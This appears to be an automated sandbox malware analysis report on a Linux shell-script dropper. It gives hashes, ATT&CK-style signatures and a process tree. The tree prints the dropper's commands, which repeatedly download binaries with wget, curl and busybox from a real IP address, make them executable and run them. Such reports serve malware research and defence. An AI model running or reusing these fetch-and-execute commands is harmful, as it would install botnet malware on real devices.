Analysis
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max time kernel
12s -
max time network
14s -
platform
debian-9_armhf -
resource
debian9-armhf-20240729-en -
resource tags
arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
21/10/2024, 01:42
Static task
static1
Behavioral task
behavioral1
Sample
c2023304dbd5db2b900e527622714d277b218d0aff1fc1dcb1cff60cb8dbdc6b.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
c2023304dbd5db2b900e527622714d277b218d0aff1fc1dcb1cff60cb8dbdc6b.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
c2023304dbd5db2b900e527622714d277b218d0aff1fc1dcb1cff60cb8dbdc6b.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral4
Sample
c2023304dbd5db2b900e527622714d277b218d0aff1fc1dcb1cff60cb8dbdc6b.sh
Resource
debian9-mipsel-20240729-en
General
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Target
c2023304dbd5db2b900e527622714d277b218d0aff1fc1dcb1cff60cb8dbdc6b.sh
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Size
10KB
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MD5
24af39cdca62a1ed0bec6400cfa74142
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SHA1
ad31bab8b77d23f47f5ca207a515dfed28a2bd5a
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SHA256
c2023304dbd5db2b900e527622714d277b218d0aff1fc1dcb1cff60cb8dbdc6b
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SHA512
24fd5e5bb157fe20152b4811bad30f52b5aa416a3faf7ae5c06d3e7fa6388dcb41d528a9aa87bb6c886380c2cf8457510bc89e7d08ae1096ae8d2da0e1f61476
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SSDEEP
192:HMUrAEWq+TPsHnmpFoBZFD0+kolLMUrAEaTPsHncpFoBZf:HMUrAEWqF0FmMUrAEp
Malware Config
Signatures
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File and Directory Permissions Modification 1 TTPs 7 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 699 chmod 730 chmod 737 chmod 763 chmod 776 chmod 785 chmod 791 chmod -
Executes dropped EXE 7 IoCs
ioc pid Process /tmp/RyYfb1MF7l6K3p9GTwT5pnNmx1VEBJ2D8i 700 RyYfb1MF7l6K3p9GTwT5pnNmx1VEBJ2D8i /tmp/Xok7bjctdY8YttSEEDnxwoxpgcX4tB6XHm 732 Xok7bjctdY8YttSEEDnxwoxpgcX4tB6XHm /tmp/CPPlc3Yzj8M2YktAvSEsKF5zPwSOKt0BfA 738 CPPlc3Yzj8M2YktAvSEsKF5zPwSOKt0BfA /tmp/oxUWvwhZOEoMoCgfzN0z8gldLt09ELl7Cw 764 oxUWvwhZOEoMoCgfzN0z8gldLt09ELl7Cw /tmp/OFYM3t3OdXEMZlp13fUl8vLz1Xy4Ybx5cb 778 OFYM3t3OdXEMZlp13fUl8vLz1Xy4Ybx5cb /tmp/aUFzTJBbmAYbPv9lME6JtPK1PKi4P2CT4k 786 aUFzTJBbmAYbPv9lME6JtPK1PKi4P2CT4k /tmp/Ju8QBqA692Dp6a71dtDveu17PKqH4EQ613 792 Ju8QBqA692Dp6a71dtDveu17PKqH4EQ613 -
Checks CPU configuration 1 TTPs 7 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl -
Writes file to tmp directory 7 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/oxUWvwhZOEoMoCgfzN0z8gldLt09ELl7Cw curl File opened for modification /tmp/OFYM3t3OdXEMZlp13fUl8vLz1Xy4Ybx5cb curl File opened for modification /tmp/aUFzTJBbmAYbPv9lME6JtPK1PKi4P2CT4k curl File opened for modification /tmp/Ju8QBqA692Dp6a71dtDveu17PKqH4EQ613 curl File opened for modification /tmp/RyYfb1MF7l6K3p9GTwT5pnNmx1VEBJ2D8i curl File opened for modification /tmp/Xok7bjctdY8YttSEEDnxwoxpgcX4tB6XHm curl File opened for modification /tmp/CPPlc3Yzj8M2YktAvSEsKF5zPwSOKt0BfA curl
Processes
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/tmp/c2023304dbd5db2b900e527622714d277b218d0aff1fc1dcb1cff60cb8dbdc6b.sh/tmp/c2023304dbd5db2b900e527622714d277b218d0aff1fc1dcb1cff60cb8dbdc6b.sh1⤵PID:646
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/bin/rm/bin/rm bins.sh2⤵PID:647
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/usr/bin/wgetwget http://87.120.126.196/bins/RyYfb1MF7l6K3p9GTwT5pnNmx1VEBJ2D8i2⤵PID:654
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/usr/bin/curlcurl -O http://87.120.126.196/bins/RyYfb1MF7l6K3p9GTwT5pnNmx1VEBJ2D8i2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:688
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/bin/busybox/bin/busybox wget http://87.120.126.196/bins/RyYfb1MF7l6K3p9GTwT5pnNmx1VEBJ2D8i2⤵PID:692
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/bin/chmodchmod 777 RyYfb1MF7l6K3p9GTwT5pnNmx1VEBJ2D8i2⤵
- File and Directory Permissions Modification
PID:699
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/tmp/RyYfb1MF7l6K3p9GTwT5pnNmx1VEBJ2D8i./RyYfb1MF7l6K3p9GTwT5pnNmx1VEBJ2D8i2⤵
- Executes dropped EXE
PID:700
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/bin/rmrm RyYfb1MF7l6K3p9GTwT5pnNmx1VEBJ2D8i2⤵PID:702
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/usr/bin/wgetwget http://87.120.126.196/bins/Xok7bjctdY8YttSEEDnxwoxpgcX4tB6XHm2⤵PID:703
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/usr/bin/curlcurl -O http://87.120.126.196/bins/Xok7bjctdY8YttSEEDnxwoxpgcX4tB6XHm2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:724
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/bin/busybox/bin/busybox wget http://87.120.126.196/bins/Xok7bjctdY8YttSEEDnxwoxpgcX4tB6XHm2⤵PID:728
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/bin/chmodchmod 777 Xok7bjctdY8YttSEEDnxwoxpgcX4tB6XHm2⤵
- File and Directory Permissions Modification
PID:730
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/tmp/Xok7bjctdY8YttSEEDnxwoxpgcX4tB6XHm./Xok7bjctdY8YttSEEDnxwoxpgcX4tB6XHm2⤵
- Executes dropped EXE
PID:732
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/bin/rmrm Xok7bjctdY8YttSEEDnxwoxpgcX4tB6XHm2⤵PID:733
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/usr/bin/wgetwget http://87.120.126.196/bins/CPPlc3Yzj8M2YktAvSEsKF5zPwSOKt0BfA2⤵PID:734
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/usr/bin/curlcurl -O http://87.120.126.196/bins/CPPlc3Yzj8M2YktAvSEsKF5zPwSOKt0BfA2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:735
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/bin/busybox/bin/busybox wget http://87.120.126.196/bins/CPPlc3Yzj8M2YktAvSEsKF5zPwSOKt0BfA2⤵PID:736
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/bin/chmodchmod 777 CPPlc3Yzj8M2YktAvSEsKF5zPwSOKt0BfA2⤵
- File and Directory Permissions Modification
PID:737
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/tmp/CPPlc3Yzj8M2YktAvSEsKF5zPwSOKt0BfA./CPPlc3Yzj8M2YktAvSEsKF5zPwSOKt0BfA2⤵
- Executes dropped EXE
PID:738
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/bin/rmrm CPPlc3Yzj8M2YktAvSEsKF5zPwSOKt0BfA2⤵PID:739
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/usr/bin/wgetwget http://87.120.126.196/bins/oxUWvwhZOEoMoCgfzN0z8gldLt09ELl7Cw2⤵PID:740
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/usr/bin/curlcurl -O http://87.120.126.196/bins/oxUWvwhZOEoMoCgfzN0z8gldLt09ELl7Cw2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:741
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/bin/busybox/bin/busybox wget http://87.120.126.196/bins/oxUWvwhZOEoMoCgfzN0z8gldLt09ELl7Cw2⤵PID:742
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/bin/chmodchmod 777 oxUWvwhZOEoMoCgfzN0z8gldLt09ELl7Cw2⤵
- File and Directory Permissions Modification
PID:763
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/tmp/oxUWvwhZOEoMoCgfzN0z8gldLt09ELl7Cw./oxUWvwhZOEoMoCgfzN0z8gldLt09ELl7Cw2⤵
- Executes dropped EXE
PID:764
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/bin/rmrm oxUWvwhZOEoMoCgfzN0z8gldLt09ELl7Cw2⤵PID:765
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/usr/bin/wgetwget http://87.120.126.196/bins/OFYM3t3OdXEMZlp13fUl8vLz1Xy4Ybx5cb2⤵PID:766
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/usr/bin/curlcurl -O http://87.120.126.196/bins/OFYM3t3OdXEMZlp13fUl8vLz1Xy4Ybx5cb2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:769
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/bin/busybox/bin/busybox wget http://87.120.126.196/bins/OFYM3t3OdXEMZlp13fUl8vLz1Xy4Ybx5cb2⤵PID:774
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/bin/chmodchmod 777 OFYM3t3OdXEMZlp13fUl8vLz1Xy4Ybx5cb2⤵
- File and Directory Permissions Modification
PID:776
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/tmp/OFYM3t3OdXEMZlp13fUl8vLz1Xy4Ybx5cb./OFYM3t3OdXEMZlp13fUl8vLz1Xy4Ybx5cb2⤵
- Executes dropped EXE
PID:778
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/bin/rmrm OFYM3t3OdXEMZlp13fUl8vLz1Xy4Ybx5cb2⤵PID:779
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/usr/bin/wgetwget http://87.120.126.196/bins/aUFzTJBbmAYbPv9lME6JtPK1PKi4P2CT4k2⤵PID:780
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/usr/bin/curlcurl -O http://87.120.126.196/bins/aUFzTJBbmAYbPv9lME6JtPK1PKi4P2CT4k2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:783
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/bin/busybox/bin/busybox wget http://87.120.126.196/bins/aUFzTJBbmAYbPv9lME6JtPK1PKi4P2CT4k2⤵PID:784
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/bin/chmodchmod 777 aUFzTJBbmAYbPv9lME6JtPK1PKi4P2CT4k2⤵
- File and Directory Permissions Modification
PID:785
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/tmp/aUFzTJBbmAYbPv9lME6JtPK1PKi4P2CT4k./aUFzTJBbmAYbPv9lME6JtPK1PKi4P2CT4k2⤵
- Executes dropped EXE
PID:786
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/bin/rmrm aUFzTJBbmAYbPv9lME6JtPK1PKi4P2CT4k2⤵PID:787
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/usr/bin/wgetwget http://87.120.126.196/bins/Ju8QBqA692Dp6a71dtDveu17PKqH4EQ6132⤵PID:788
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/usr/bin/curlcurl -O http://87.120.126.196/bins/Ju8QBqA692Dp6a71dtDveu17PKqH4EQ6132⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:789
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/bin/busybox/bin/busybox wget http://87.120.126.196/bins/Ju8QBqA692Dp6a71dtDveu17PKqH4EQ6132⤵PID:790
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/bin/chmodchmod 777 Ju8QBqA692Dp6a71dtDveu17PKqH4EQ6132⤵
- File and Directory Permissions Modification
PID:791
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/tmp/Ju8QBqA692Dp6a71dtDveu17PKqH4EQ613./Ju8QBqA692Dp6a71dtDveu17PKqH4EQ6132⤵
- Executes dropped EXE
PID:792
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/bin/rmrm Ju8QBqA692Dp6a71dtDveu17PKqH4EQ6132⤵PID:793
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/usr/bin/wgetwget http://87.120.126.196/bins/HUV3uYejTB3G9yxm9AsJMvbGhfnIhIzLGp2⤵PID:794
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
153B
MD5998368d7c95ea4293237f2320546e440
SHA130dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA256533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
SHA512648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97